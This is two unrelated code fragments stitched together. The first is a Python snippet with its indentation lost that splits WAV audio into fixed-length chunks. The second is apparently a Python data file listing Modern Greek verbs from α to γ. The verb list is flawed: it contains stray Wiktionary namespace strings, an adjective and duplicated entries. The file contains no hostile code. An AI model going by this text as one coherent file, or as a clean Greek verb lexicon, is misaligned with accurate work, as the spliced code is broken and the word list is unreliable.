y_p=np.array(y_p)
y_PP=np.array(y_PP)
for wav_fname in wavs:
y,sr=librosa.load(wav_fname,mono=False,sr=16000)
y_len=int(len(y))
if(y_len >=time_len):
for i in range(int(y_len/time_len)):
y_PP=y[1+i*time_len:time_len+i*time_len]
output_path= output_file+'fan'+'_num'+str(cnt)+'_ch1.wav'
y_PP=y_PP*32768
print(output_path)
scipy.io.wavfile.write(output_path, sr ,y_PP.astype(np.int16))
cnt=cnt+1
|
# coding: utf8
from __future__ import unicode_literals
VERBS = set("""
'γγίζω άγομαι άγχομαι άγω άδω άπτομαι άπωσον άρχομαι άρχω άφτω έγκειται έκιοσε
έπομαι έρπω έρχομαι έστω έχω ήγγικεν ήθελε ίπταμαι ίσταμαι αίρομαι αίρω
αβαντάρω αβαντζάρω αβαντσάρω αβαράρω αβασκαίνω αβγατίζω αβγαταίνω αβγοκόβω
αβδελλώνω αβλεπτώ αβροδιαιτώμαι αγάλλομαι αγαθεύω αγαθολογώ αγαθοφέρνω
αγαλλιώ αγανακτώ αγαναχτώ αγανοϋφαίνω αγαντάρω αγαπίζω αγαπιέμαι αγαπώ αγγέλλω
αγγίζω αγγαρεύω αγγελιάζομαι αγγελοβλέπω αγγελοθωρώ αγγελοκρούομαι
αγγλογλωττώ αγγλοποιώ αγγλοφέρνω αγγριφίζω αγιάζομαι αγιάζω αγιογραφώ
αγιοποιώ αγκαζάρω αγκαθώνω αγκαλιάζομαι αγκαλιάζω αγκειάζω αγκιστρώνομαι
αγκομαχώ αγκουσεύω αγκυλώνομαι αγκυλώνω αγκυροβολώ αγκωνιάζω αγλαΐζω αγλακώ
αγναντεύω αγνοούμαι αγνοώ αγνωμονώ αγοράζομαι αγοράζω αγορεύω αγουροξυπνώ
αγρεύω αγριεύομαι αγριεύω αγρικώ αγριοκοιτάζομαι αγριοκοιτάζω αγριοκοιτάω
αγριοκοιτώ αγριομιλάω αγριομιλώ αγριώνομαι αγριώνω αγρυπνώ αγυρντίζω αγχώνομαι
αγωγιάζω αγωνίζομαι αγωνιώ αδειάζω αδελφώνω αδερφώνω αδημονώ αδιαβροχοποιώ
αδιαφορώ αδικοπραγώ αδικούμαι αδικώ αδολεσχώ αδράχνω αδρανοποιούμαι αδρανοποιώ
αδροπληρώνω αδυνατίζω αδυνατώ αερίζομαι αερίζω αεριοποιούμαι αεριοποιώ
αερολογώ αηδιάζω αηδονολαλώ αθανατίζω αθεΐζω αθετώ αθλοθετώ αθλούμαι αθροίζω
αθωώνω αιδούμαι αιθεροβατώ αιθριάζω αιματοβάφομαι αιματοκυλίζω αιματοκυλώ
αιμολύω αιμομικτώ αιμορραγώ αιμορροώ αινώ αισθάνομαι αισθηματολογώ αισθητοποιώ
αισχροκερδώ αισχρολογώ αισχύνομαι αιτιάζομαι αιτιάζω αιτιολογώ αιτιώμαι
αιτώ αιφνιδιάζομαι αιφνιδιάζω αιχμαλωτίζομαι αιχμαλωτίζω αιωρίζω αιωρούμαι
ακαματεύω ακαρτερώ ακεραιώνω ακινητοποιούμαι ακινητοποιώ ακινητώ ακκίζομαι
ακολασταίνω ακολουθώ ακομπανιάρω ακονίζομαι ακονίζω ακοντίζω ακοστάρω ακουμπάω
ακούγομαι ακούγω ακούω ακριβαίνω ακριβοεξετάζω ακριβολογώ ακριβοπληρώνω
ακροάζομαι ακροβατώ ακροβολίζομαι ακροπατώ ακροώμαι ακρωτηριάζω ακτινοβολώ
ακτινοσκοπώ ακυριολεκτώ ακυρολεκτώ ακυρώνομαι ακυρώνω αλέθω αλίσκομαι
αλαλάζω αλαλιάζω αλαργάρω αλαργέρνω αλαργεύω αλατίζω αλαφιάζομαι αλαφιάζω
αλαφρώνω αλγώ αλείβομαι αλείβω αλείφομαι αλείφω αλεγράρω αλετρίζω αλευρογυρίζω
αλευροπασπαλίζω αλευροποιώ αλευροσακιάζω αλευροσταυρώνω αλευρώνω αληθεύω
αλητεύω αλιεύω αλκοτεστάρω αλλάζω αλλαξοδρομώ αλλαξοπιστώ αλληγορώ αλληθωρίζω
αλληλεπικαλύπτομαι αλληλεπικρίνομαι αλληλοβοηθιέμαι αλληλοβοηθούμαι
αλληλογαμιέμαι αλληλογραφώ αλληλοδανείζομαι αλληλοδιαπλέκομαι
αλληλοεξουδετερώνω αλληλομαχαιρώνομαι αλληλοπαρορμώμαι αλληλοσκοτώνομαι
αλληλουχώ αλλοιώνομαι αλλοιώνω αλλοτριώνω αλλοφρονώ αλμυρίζω αλυσιδώνω
αλυσοδένω αλυσώνω αλυχτώ αλφαβητίζω αλφαδιάζω αλωνίζω αμέλγω αμαλγαμώνω
αμαρτάνω αμαρταίνω αμαυρώνω αμβλύνω αμβλώνω αμείβομαι αμείβω αμελώ αμερικανίζω
αμεροληπτώ αμιλλώμαι αμμοβολώ αμμοστρώνω αμνηστεύω αμνώγω αμολάω αμολέρνω
αμολώ αμπαλάρω αμπαρώνω αμπελουργώ αμπελοφιλοσοφώ αμποδένω αμπώθω αμπώνω
αμφιβάλλω αμφιρρέπω αμφισβητούμαι αμφισβητώ αμφιταλαντεύομαι αμόνω αμύνομαι
ανάβω ανάγω ανάπτω ανάσσω ανάσχομαι ανάσχω ανάφτω ανέρχομαι ανέχομαι ανήκω
αναβάλλεται αναβάλλω αναβαίνω αναβαθμίζομαι αναβαθμίζω αναβαθμολογώ αναβαπτίζω
αναβαφτίζω αναβιβάζομαι αναβιβάζω αναβιώ αναβιώνω αναβλέπω αναβλύζω αναβολίζω
αναβοώ αναβράζω αναβρυώ αναβρύζω αναγέρνω αναγαλλιάζω αναγγέλλω αναγελώ
αναγεννώ αναγινώσκω αναγκάζομαι αναγκάζω αναγνωρίζομαι αναγνωρίζω αναγνώθω
αναγομώνω αναγορεύω αναγουλιάζω αναγράφομαι αναγράφω αναγραμματίζω αναδένω
αναδίδω αναδίνω αναδακρυώνω αναδαμαλίζω αναδασώνω αναδείχνω αναδεικνύω αναδεύω
αναδημοσιεύομαι αναδημοσιεύω αναδιανέμω αναδιαρθρώνω αναδιατάσσω αναδιατυπώνω
αναδιοργανώνω αναδιπλασιάζω αναδιπλώνομαι αναδιπλώνω αναδιφώ αναδομώ αναδύομαι
αναζωογονούμαι αναζωογονώ αναζωπυρώνω αναθάλλω αναθέτω αναθαρρεύω αναθαρρώ
αναθερμαίνω αναθεωρώ αναθιβάλλω αναθρέφω αναθρώσκω αναθυμάμαι αναθυμίζω
αναθυμώ αναιρώ αναισθητοποιούμαι αναισθητοποιώ ανακάθομαι ανακάμπτω ανακαθίζω
ανακαλύπτω ανακαλώ ανακαρώνω ανακαταλαμβάνω ανακατασκευάζομαι ανακατασκευάζω
ανακατευθύνω ανακατεύομαι ανακατεύω ανακατώνω ανακεφαλαιώνω ανακηρύσσω
ανακινώ ανακλίνω ανακλαδίζομαι ανακλαδίζω ανακλαδώνομαι ανακλαδώνω ανακλώ
ανακοινώνω ανακουφίζομαι ανακουφίζω ανακράζω ανακρίνω ανακριβολογώ ανακρούω
ανακυκλώνω ανακόπτω ανακύπτω αναλάμπω αναλίσκω αναλαβαίνω αναλαμβάνομαι
αναλιώνω αναλογίζομαι αναλογώ αναλύομαι αναλύω αναλώνομαι αναλώνω αναμέλπω
αναμένω αναμαλλιάζω αναμασώ αναμειγνύομαι αναμειγνύω αναμερίζω αναμεταδίδω
αναμετρώ αναμηρυκάζω αναμιγνύομαι αναμιγνύω αναμισθώνω αναμορφώνω αναμοχλεύω
ανανήφω ανανεώνομαι ανανεώνω ανανογιέμαι αναντρανίζω αναξέω αναξαίνω
αναξύω αναπάλλομαι αναπάλλω αναπέμπω αναπαλαιώνω αναπαράγομαι αναπαράγω
αναπαριστάνω αναπαριστώ αναπαύομαι αναπαύω αναπετώ αναπηδώ αναπιάνω αναπλάθω
αναπλέω αναπλειστηριάζω αναπληρώνω αναπλωρίζω αναπνέω αναποδιάζω αναποδογυρίζω
αναπροσαρμόζομαι αναπροσαρμόζω αναπροσλαμβάνω αναπτερώνω αναπτύσσομαι
αναπυρώνομαι αναπυρώνω αναρίχνω αναριγώ αναριεύω αναρπάζω αναρρίχνω αναρριπίζω
αναρριχώμαι αναρροφώ αναρρώνω αναρτώ αναρτώμαι αναρχούμαι αναρωτιέμαι αναρωτώ
ανασαλεύω ανασηκώνομαι ανασηκώνω ανασκάβω ανασκάπτομαι ανασκάπτω ανασκάφτω
ανασκαλώνω ανασκελώνομαι ανασκελώνω ανασκευάζω ανασκιρτώ ανασκολοπίζω ανασκοπώ
ανασκουμπώνω ανασπάζομαι ανασπώ αναστέλλομαι αναστέλλω αναστήνω ανασταίνομαι
αναστατώνομαι αναστατώνω αναστενάζω αναστηλώνω αναστομώνω αναστορούμαι
αναστρέφομαι αναστρέφω αναστυλώνω ανασυγκροτώ ανασυνδέω ανασυνθέτω ανασυνιστώ
ανασυστήνω ανασυσταίνω ανασχηματίζω ανασύρομαι ανασύρω ανατέλλω ανατέμνω
αναταράζω αναταράσσω ανατείνω ανατιμολογώ ανατιμώ ανατιμώμαι ανατινάζομαι
ανατινάσσω ανατοκίζω ανατοποθετώ ανατρέπομαι ανατρέπω ανατρέφω ανατρέχω
ανατροφοδοτώ ανατσουτσουρώνω ανατυπώνω αναφέρομαι αναφέρω αναφαίνομαι
αναφλέγω αναφτερώνω αναφυτεύω αναφωνώ αναφύομαι αναχαιτίζω αναχαράζω
αναχωματίζω αναχωματώνω αναχωνεύω αναχωρώ αναψηλαφώ αναψοκοκκινίζω
αναψυχώνω αναψύχω ανδρίζομαι ανδραγαθώ ανδραποδίζω ανδρειεύω ανδρειώνομαι
ανδροκρατούμαι ανδροφέρνω ανδρώνομαι ανδρώνω ανεβάζω ανεβαίνω ανεβοκατεβάζω
ανεγείρω ανελκύω ανεμίζω ανεμοδέρνομαι ανεμοδέρνω ανεμπαίζω ανενεργοποιώ
ανεξαρτητοποιώ ανεξικακώ ανερευνώ ανεσαίνω ανεστορούμαι ανευθυνολογώ ανευρίσκω
ανεφοδιάζω ανησυχώ ανηφορίζω ανηφορώ ανθίζομαι ανθίζω ανθίσταμαι ανθοβολώ
ανθολογώ ανθοστολίζω ανθοφορώ ανθρακώνω ανθρωπεύω ανθυπομειδιώ ανθώ ανιδρύω
ανιχνεύω ανιώ ανοίγω ανοηταίνω ανοιγοκλείνω ανοιγοκλειώ ανοικοδομώ ανομοιώνω
ανορθώνω ανορύσσω ανοσιουργώ ανοσοποιώ ανοστίζω ανοσταίνω ανοστεύω αντέχω
ανταγαπώ ανταγωνίζομαι ανταδικώ ανταλλάζω ανταλλάσσω ανταμείβω ανταμώνω
ανταπαιτώ ανταπαντώ ανταπεργώ ανταποδίδω ανταποδίνω ανταποδείχνω ανταποδεικνύω
ανταπολογούμαι ανταριάζω αντασφαλίζω αντεκδικούμαι αντενδείκνυμαι αντενεργώ
αντεξετάζω αντεπαναστατώ αντεπεξέρχομαι αντεπιτίθεμαι αντευχαριστώ αντεύχομαι
αντηχώ αντιβαίνω αντιβγαίνω αντιβουίζω αντιβοώ αντιγνωμώ αντιγράφω αντιγυρίζω
αντιδιαδηλώνω αντιδιαστέλλω αντιδικώ αντιδονώ αντιδρώ αντιζυγίζω αντιζυγιάζω
αντικαθίσταμαι αντικαθιστώ αντικαθρεφτίζομαι αντικαθρεφτίζω αντικαταβάλλω
αντικατοπτρίζομαι αντικατοπτρίζω αντικειμενοποιώ αντικινητροδοτώ αντικρίζω
αντικόβω αντικόφτω αντιλάμπω αντιλέγω αντιλαλώ αντιλαμβάνομαι αντιλαμπίζω
αντιλογώ αντιμάχομαι αντιμεταθέτω αντιμετατίθεμαι αντιμετριέμαι αντιμετριούμαι
αντιμετωπίζομαι αντιμετωπίζω αντιμιλώ αντιπαθώ αντιπαλαίω αντιπαλεύω
αντιπαρέχω αντιπαραβάλλω αντιπαραθέτω αντιπαρατάσσω αντιπερισπώ αντιπερνώ
αντιπολιτεύομαι αντιπράττω αντιπροσκαλώ αντιπροσφέρω αντιπροσωπεύω
αντιρροπίζω αντισκόβω αντιστέκομαι αντισταθμίζω αντιστηρίζω αντιστοιχίζω
αντιστρέφομαι αντιστρέφω αντιστρατεύομαι αντιστυλώνω αντιτίθεμαι αντιτείνω
αντιφέγγω αντιφεγγίζω αντιφρονώ αντιφωνώ αντιχαιρετίζω αντιχαιρετώ αντιχτυπώ
αντραλίζω αντραλεύω αντραλώνω αντρανίζω αντρειεύομαι αντρειεύω αντρειώνω
αντροφέρνω αντρώνομαι αντρώνω ανυμνώ ανυπομονεύω ανυπομονώ ανυφαίνω ανυψώνομαι
ανωκυκλώνω ανωνυμογραφώ αξίζω αξαίνω αξιολογούμαι αξιολογώ αξιοποιώ αξιώ
αξιώνω αοριστολογώ απάγω απάδω απάτα απέρχομαι απέχω απαγγέλλω απαγγέλνω
απαγκιστρώνομαι απαγκιστρώνω απαγορεύεται απαγορεύω απαγχονίζω απαθανατίζω
απαισιοδοξώ απαιτούμαι απαιτώ απαλαίνω απαλείφω απαλλάσσομαι απαλλάσσω
απαλλοτριώνω απαλογέρνω απαλύνω απαμινώνω απανθίζω απανθρακώνομαι απανθρακώνω
απαντεχαίνω απαντλώ απαντώ απαξιώ απαξιώνω απαρέσκω απαργυρώνω απαριθμώ
απαρνιούμαι απαρνούμαι απαρτίζομαι απαρτίζω απαρχαιώνω απασβεστώνω απαστράπτω
απασχολώ απατά απατώ απατώμαι απαυγάζω απαυδώ απαυτώνω απεγκλωβίζω απειθαρχώ
απεικάζω απεικονίζομαι απεικονίζω απειλώ απεκδέχομαι απεκδύομαι απεκδύω
απελαύνω απελευθερώνομαι απελευθερώνω απελπίζομαι απελπίζω απεμπλέκω απεμπολώ
απενεργοποιώ απενοχοποιώ απεξαρτώ απεραντολογώ απεργάζομαι απεργώ
απευαισθητοποιώ απευθύνομαι απευθύνω απεχθάνομαι απεύχομαι απηχώ απιθώνω
απισχναίνω απλοποιούμαι απλοποιώ απλουστεύω απλώνομαι απλώνω αποβάλλομαι
αποβαίνω αποβαρβαρώνω αποβιβάζω αποβιομηχανίζω αποβιώ αποβιώνω αποβλέπω
αποβουτυρώνω αποβράζω απογίνομαι απογαλακτίζομαι απογαλακτίζω απογειώνω
απογοητεύομαι απογοητεύω απογράφω απογραφειοκρατικοποιώ απογριφώνω απογυμνώνω
αποδίδομαι αποδίδω αποδίνω αποδασώνω αποδείχνω αποδεικνύομαι αποδεικνύω
αποδεκατίζω αποδελτιώνω αποδεσμεύω αποδημώ αποδιαλέγομαι αποδιαλέγω
αποδιαλύω αποδιαρθρώνω αποδιαφωτίζω αποδιδράσκω αποδιεθνοποιώ αποδιοργανώνω
αποδιώχνω αποδοκιμάζομαι αποδοκιμάζω αποδομώ αποδραματοποιώ αποδρώ
αποδυναμώνω αποδύομαι αποεθνικοποιώ αποειδικεύομαι αποενοποιώ αποεπενδύω
αποζητώ αποζουρλαίνω αποζώ αποθέτω αποθαίνω αποθαλασσώνομαι αποθαλασσώνω
αποθαυμάζω αποθεματοποιώ αποθερίζω αποθεραπεύω αποθερμαίνω αποθεώνω αποθηκεύω
αποθηριώνω αποθησαυρίζω αποθνήσκω αποθορυβοποιώ αποθρασύνομαι αποθρασύνω
αποικίζω αποικοδομώ αποικώ αποκάμνω αποκάνω αποκαθίσταμαι αποκαθαίρω
αποκαθιστώ αποκαλύπτω αποκαλώ αποκαρδιώνω αποκαρτερώ αποκαρώνω αποκατασταίνω
αποκερατώνω αποκεφαλίζω αποκηρύττω αποκηρύχνω αποκλίνω αποκλείω αποκληρώνω
αποκλιμακώνω αποκοιμίζω αποκοιμιέμαι αποκοιμώμαι αποκολλώ αποκομίζω
αποκορυφώνω αποκοτώ αποκουτιαίνω αποκρίνομαι αποκραίνομαι αποκρατικοποιώ
αποκρούω αποκρυπτογραφώ αποκρυσταλλώνω αποκρύβω αποκρύπτω αποκτάω αποκτηνώνω
αποκωδικοποιώ αποκόβομαι αποκόβω αποκόπτομαι αποκόπτω απολήγω απολαβαίνω
απολαμβάνω απολαύω απολείπομαι απολείπω απολειτουργώ απολεπίζω απολησμονιέμαι
απολιθώνω απολινώ απολιπαίνω απολιχνίζω απολλύω απολογιέμαι απολογιούμαι
απολυμαίνω απολυτρώνω απολωλαίνω απολύω απομένω απομαγεύω απομαγνητίζω
απομακρύνομαι απομακρύνω απομιμούμαι απομνήσκω απομνημονεύω απομονώνω
απομυζώ απομυθοποιούμαι απομυθοποιώ απομωραίνω απονέμω απονίβω απονίπτω
αποναζιστικοποιώ αποναρκώνω απονεκρώνω απονευρώνω απονηώνω απονιτρώνω
απονυχτερεύω αποξέω αποξαίνω αποξενούμαι αποξενώνω αποξεραίνω αποξεχνιέμαι
αποξεχνώ αποξηλώνω αποξηραίνω αποξυλώνομαι αποξυλώνω αποξύω αποπέμπω αποπίνω
αποπαγοποιώ αποπαστρεύω αποπατώ αποπειρώμαι αποπερατώνω αποπλένω αποπλέω
αποπλανώ αποπληρώνω αποπλύνω αποπνέω αποπνίγω αποπνευματώνω αποποινικοποιώ
αποπολιτικοποιώ αποπροσανατολίζω αποπροσωποποιώ αποπτύω αποπυρηνικοποιώ
αποπωματίζω απορρέω απορρίπτω απορρίχνω απορροφάω απορροφώ απορροφώμαι
απορρυπαίνω απορφανίζω απορώ αποσαθρώνω αποσαπίζω αποσαρώνω αποσαφηνίζω
αποσβήνω αποσβεννύω αποσβολώνομαι αποσβολώνω αποσείω αποσιωπώ αποσκίζω
αποσκεπάζω αποσκιρτώ αποσκληραίνομαι αποσκληραίνω αποσκληρύνομαι αποσκληρύνω
αποσκορακίζω αποσκυβαλίζω αποσμήχω αποσοβώ αποσπερματίζω αποσπώ αποσπώμαι
αποστάζω αποστέλλομαι αποστέλλω αποστέργω αποσταίνω αποσταθεροποιούμαι
αποσταλάζω αποστασιοποιούμαι αποστατώ αποστεγνώνω αποστειρώνω αποστερεύω
αποστεώνω αποστηθίζω αποστομώνω αποστρέφομαι αποστρέφω αποστραβώνω
αποστρακίζομαι αποστρακίζω αποστρατεύω αποστρατικοποιώ αποστρατιωτικοποιώ
αποσυγχρονίζω αποσυμπιέζω αποσυμφορίζω αποσυμφορώ αποσυναρμολογούμαι
αποσυνδέω αποσυνθέτω αποσυντίθεμαι αποσυντονίζομαι αποσυσχετίζω αποσφαλματώνω
αποσχίζομαι αποσχίζω αποσχηματίζω αποσύρομαι αποσύρω αποσώνω αποτάσσω αποτέμνω
αποτίω αποταμιεύω αποταυρίζομαι αποτείνομαι αποτείνω αποτελειώνω αποτελματώνω
αποτελώ αποτεφρώνω αποτιμώ αποτινάζω αποτινάσσω αποτοιχίζω αποτολμάω αποτολμώ
αποτρέπω αποτραβώ αποτρελαίνω αποτριχώνω αποτροπιάζομαι αποτροπιάζω αποτρυγώ
αποτυγχάνω αποτυμπανίζω αποτυπώνω αποτυχαίνω απουσιάζω αποφέρω αποφαίνομαι
αποφασίζω αποφεύγω αποφλοιώνω αποφοιτώ αποφορτίζω αποφουρνίζω αποφράζω
αποφυλακίζω αποχαιρετάω αποχαιρετίζω αποχαιρετιέμαι αποχαιρετώ αποχαλινώνομαι
αποχαλώ αποχαρακτηρίζω αποχαυνώνομαι αποχαυνώνω αποχετεύω αποχλωριώνω
αποχρωματίζομαι αποχρωματίζω αποχτάω αποχτενίζω αποχτώ αποχωρίζομαι αποχωρίζω
αποψιλώνω αποψύχω απρακτώ απροσωποποιώ απωθώ απόζω απόκειμαι απόκειται
αράζω αρέσκομαι αρέσκω αρέσω αραδιάζω αραθυμώ αραιώνω αραξοβολώ αραχνιάζω
αργαποχαιρετώ αργοκινώ αργοκοιμάμαι αργολογώ αργοξυπνώ αργοπορώ αργοσαλεύω
αργοταξιδεύω αργώ αρδεύω αρθρογραφώ αρθρώνω αριβάρω αριθμίζω αριθμούμαι αριθμώ
αριστεύω αρκιέμαι αρκουδίζω αρκούμαι αρκώ αρμέγω αρμαθιάζω αρματώνω αρμενίζω
αρμυρίζω αρμόζει αρμόζω αρνεύγω αρνεύω αρνιέμαι αρνιούμαι αρνούμαι αροτριώνω
αρπάχνω αρπίζω αρπακολλώ αρπώ αρραβωνιάζομαι αρραβωνιάζω αρρεβωνιάζομαι
αρρωστώ αρταίνω αρτιώνω αρτύζω αρτύνω αρφανεύω αρχίζω αρχαΐζω αρχειοθετώ
αρχινώ αρχοντεύω αρωματίζω αρόω αρύομαι ασβεστοποιώ ασβεστώνω ασεβώ ασελγαίνω
ασημώνω ασθενώ ασθμαίνω ασκημίζω ασκημαίνω ασκητεύω ασκούμαι ασκώ ασπάζομαι
ασταρώνω αστεΐζομαι αστειεύομαι αστειολογώ αστερώνω αστικοποιούμαι αστικοποιώ
αστοχώ αστράφτω αστραποβολώ αστροφέγγω αστυνομεύω αστυνομοκρατούμαι
ασφαλίζω ασφαλτοστρώνω ασφαλτώνω ασφυκτιώ ασχάλλω ασχημίζω ασχημαίνω ασχημονώ
ασωτεύω ατακτώ αταχτώ ατενίζω ατιμάζομαι ατιμάζω ατμίζω ατομικεύω ατονώ ατροφώ
αττικίζω ατυχώ αυγάζω αυγοκόβω αυθαδιάζω αυθαιρετώ αυθυποβάλλομαι αυλακίζω
αυλακώνω αυνανίζομαι αυξάνομαι αυξάνω αυξαίνω αυξομειώνομαι αυξομειώνω
αυτενεργώ αυτιάζομαι αυτοαθωώνομαι αυτοαναιρούμαι αυτοανακηρύσσομαι
αυτοαξιολογούμαι αυτοαποκαλούμαι αυτοβιογραφούμαι αυτοδεσμεύω αυτοδιαλύομαι
αυτοδιαψεύδομαι αυτοδικώ αυτοδιοικούμαι αυτοδιορίζομαι αυτοδιπλασιάζομαι
αυτοελέγχομαι αυτοεξορίζομαι αυτοεπαινούμαι αυτοθαυμάζομαι αυτοθυσιάζομαι
αυτοκαθαρίζομαι αυτοκαθορίζω αυτοκακολογούμαι αυτοκαταδικάζομαι αυτοκαταργώ
αυτοκοροϊδεύομαι αυτοκριτικάρομαι αυτοκτονώ αυτοκυβερνιέμαι αυτοκυβερνώμαι
αυτομαστιγώνομαι αυτοματοποιώ αυτομολώ αυτονομάζομαι αυτονομούμαι
αυτοπαραπέμπομαι αυτοπαρηγοριέμαι αυτοπαρηγορούμαι αυτοπαρουσιάζομαι
αυτοπραγματοποιούμαι αυτοπραγματώνομαι αυτοπροβάλλομαι αυτοπροσωπογραφούμαι
αυτοπυρπολούμαι αυτοσυγκρατούμαι αυτοσυγχαίρομαι αυτοσυντηρούμαι
αυτοσχεδιάζω αυτοτιμωρούμαι αυτοτιτλοφορούμαι αυτοτραυματίζομαι
αυτοφωτογραφίζομαι αυτοφύομαι αυτοχαρακτηρίζομαι αυτοχειριάζομαι
αυτοχρηματοδοτούμαι αυτοϊκανοποιούμαι αυτοϋπονομεύομαι αφήνομαι αφήνω
αφαιμάσσω αφαιρούμαι αφαιρώ αφαλοκόβω αφανίζω αφαρπάζω αφελληνίζομαι
αφεντεύω αφερματίζω αφηγούμαι αφηνιάζω αφηρωίζω αφθονώ αφιερώνω αφικνούμαι
αφιονίζω αφιππεύω αφισοκολλώ αφλογιστώ αφογκράζομαι αφοδεύω αφομοιώνομαι
αφοπλίζω αφορίζω αφορμίζω αφορμώμαι αφορώ αφοσιώνομαι αφουγκράζομαι αφρίζω
αφροστεφανώνω αφρουκούμαι αφτιάζομαι αφυγραίνω αφυδατώνομαι αφυδατώνω
αφυπηρετώ αφυπνίζομαι αφυπνίζω αχαμναίνω αχνίζω αχνοδιαγράφω αχνοτρέμω
αχνοφωτίζω αχνότρεμος αχολογώ αχρειολογώ αχρηστεύω αχώ αψηφώ αψιδώνω αψιμαχώ
αψώνω αἰσχροκερδῶ αἰσχρολογῶ βάζω βάλλομαι βάλλω βάνω βάπτω βάφομαι βάφω βέχω
βαίνω βαβίζω βαβαδίζω βαβαλίζω βαγίζω βαδίζω βαθαίνω βαθμοθετώ βαθμολογώ
βαθουλώνω βαθύνω βακρύζω βακχίζω βακχεύω βαλαντώνω βαλκανοποιώ βαλσάρω
βαλτώνω βαπτίζομαι βαπτίζω βαρίσκω βαραίνω βαρβαρίζω βαρβατεύω βαρβατιάζω
βαριέμαι βαριακούω βαριανασαίνω βαριαναστενάζω βαριεστίζω βαριεστώ
βαριοκοιμάμαι βαρκούμαι βαρυγκομάω βαρυγκομώ βαρυγκωμάω βαρυγκωμώ βαρυθυμώ
βαρυκολυώ βαρυπενθώ βαρυστομαχιάζω βαρυφαίνεται βαρύνομαι βαρύνω βαρύχνω βαρώ
βασίζω βασανίζομαι βασανίζω βασιλεύω βασκάνω βασκαίνω βαστάζω βαστάω βαστιέμαι
βατεύομαι βατεύω βατσινάρω βατταρίζω βαττολογώ βαυκαλάω βαυκαλίζομαι βαυκαλίζω
βαφτίζομαι βαφτίζω βγάζω βγάνω βγαίνω βγιάζω βδελύσσομαι βεβαιώνομαι βεβαιώνω
βεβηλώνω βεγγερίζω βελάζω βελονιάζω βελτιστοποιώ βελτιώνομαι βελτιώνω
βερνικώνομαι βερνικώνω βηματίζω βιάζομαι βιάζομαι βιαιοπραγώ βιβλιοδετώ
βιδώνομαι βιδώνω βικιλεξικό:ορισμοί βικιλεξικό:ορισμοί βικιποιώ βιντεοσκοπώ
βιομηχανοποιώ βιοπορίζομαι βιράρω βιτσίζω βιώνω βκατίζω βλάπτω βλάφτω βλέπομαι
βλακεύω βλαστάνω βλαστίζω βλασταίνω βλαστημώ βλαστολογώ βλασφημώ βλεπάω
βλογώ βοήθεια:γρήγορη δημιουργία/ρημ- βοήθεια:διάρθρωση λημμάτων βογκάω
βογκώ βοηθάω βοηθιέμαι βοηθώ βολίζω βολεί βολεύομαι βολεύω βολιδοσκοπώ
βολοκοπώ βολτάρω βομβαρδίζω βοσκάω βοσκώ βοστρυχίζω βοστρυχώ βοτανίζω
βουΐζω βουίζω βουβαίνομαι βουβαίνω βουβιάζω βουκολώ βουλίζομαι βουλίζω
βουλιάζω βουλιέμαι βουλιμιώ βουλώνομαι βουλώνω βουρβουλακίζω βουρβουλακώ
βουρλίζω βουρτσίζω βουρώ βουτάω βουτυρώνω βουτώ βούλομαι βοώ βράζω βρέχει
βρέχω βρίζομαι βρίζω βρίθω βρίσκομαι βρίσκω βραβεύομαι βραβεύω βραδιάζει
βραδυγλωττώ βραδυπορώ βραδύνω βρακώνομαι βραχνιάζω βραχυκυκλώνω βραχυλογώ
βρεφοκομώ βρικολακιάζω βρομάω βρομίζω βρομοκοπάω βρομοκοπώ βρομώ βροντάω
βροντοφωνάζω βροντοφωνώ βροντώ βρυχιέμαι βρυχώμαι βρωμάω βυζάνω βυζαίνω
βυθάω βυθίζομαι βυθίζω βυθοκορώ βυθομετρώ βυθοσκοπώ βυθώ βυνοποιώ βυσματώνω
βωμολοχώ βόσκω γένομαι γέρνω γίνομαι γαβγίζω γαβλίζω γαγγραινιάζω
γαζώνω γαλακτοποιώ γαλακτωματοποιώ γαλβανίζω γαληνεύω γαληνιάζω γαλονάρω
γαλονοφορώ γαλουχούμαι γαλουχώ γαλώνω γαμάω γαμιέμαι γαμπρίζω γαμώ γανιάζω
γαντζώνω γανώνω γαργαλάω γαργαλίζω γαργαλεύω γαργαλιέμαι γαργαλώ γαργαρίζω
γαρνίρω γαστρώνω γατσιάζω γαυριάζω γαυριώ γαϊτανώνω γγαστρώνομαι γγαστρώνω
γδέρνω γδικιέμαι γδύνω γειτνιάζω γειτονεύω γειώνω γελιέμαι γελοιογραφώ
γελοιοποιώ γελώ γεμίζω γεμόζω γενικεύομαι γενικεύω γενικολογώ γεννάω γεννιέμαι
γεννώ γεράζω γεραίρω γερεύω γερνάω γερνώ γεροκομώ γευματίζω γεφυρώνω γεύομαι
γηράσκω γηροκομώ γητεύω γιαίνω γιανίσκω γιαουρτώνω γιαρατίζω γιατρεύομαι
γιατροπορεύομαι γιατροπορεύω γιγαντεύω γιγαντώνω γινατεύω γινώσκω γιομάζω
γιομόζω γιορτάζομαι γιορτάζω γιουτώ γιουχάρω γιουχαΐζω γιώνω γκαβίζω γκαζώνω
γκαρίζω γκαστρώνω γκεζεράω γκεζερίζω γκιζεράω γκιζερίζω γκλασάρω γκουγκλάρω
γκρεμίζομαι γκρεμίζω γκρεμοτσακίζομαι γκριζάρω γκρινιάζω γκρουπάρω γκώνω γλακώ
γλασάρω γλαυκώνω γλαφυραίνω γλείφομαι γλείφω γλεντάω γλεντοκοπάω γλεντοκοπώ
γλιστράω γλιστρώ γλιτώνω γλυκίζω γλυκαίνομαι γλυκαίνω γλυκοβραδιάζει
γλυκοκοιμάμαι γλυκοκοιτάζω γλυκοκουβεντιάζω γλυκομιλώ γλυκοσαλίζω γλυκοσαλιάζω
γλυκοφέγγει γλυκοφιλάω γλυκοφιλώ γλυκοχαράζει γλυμίζω γλυτώνω γλυφίζω γλυφαίνω
γλωσσοτρώω γλωσσοφιλώ γλύφω γνέθω γνέφω γνοιάζει γνοιάζομαι γνωματεύω
γνωμολογώ γνωρίζομαι γνωρίζω γνωστεύω γνωστοποιούμαι γνωστοποιώ γογγύζω
γομώ γομώνω γονατίζω γονιμοποιούμαι γονιμοποιώ γονυπετώ γουβιάζω γουβώνω
γουρλώνω γουρμάζω γουρουνίζω γουρσουζεύω γουστάρω γράφω γραδάρω
γραμμογραφώ γραμμοσκιάζω γραμμώνω γραντίζω γραπώνομαι γραπώνω γρασάρω
γρατζουνίζω γρατζουνώ γρατσουνάω γρατσουνίζω γρατσουνώ γρηγορώ γρικώ γρινιάζω
γριπώνομαι γροικώ γρονθοκοπώ γρουσουζεύω γρούζω γρυλίζω γρυλλίζω γρύζω γρύζω
γυαλοκοπώ γυμνάζω γυμνητεύω γυμνώνω γυναικοκρατούμαι γυναικοφέρνω γυρίζω
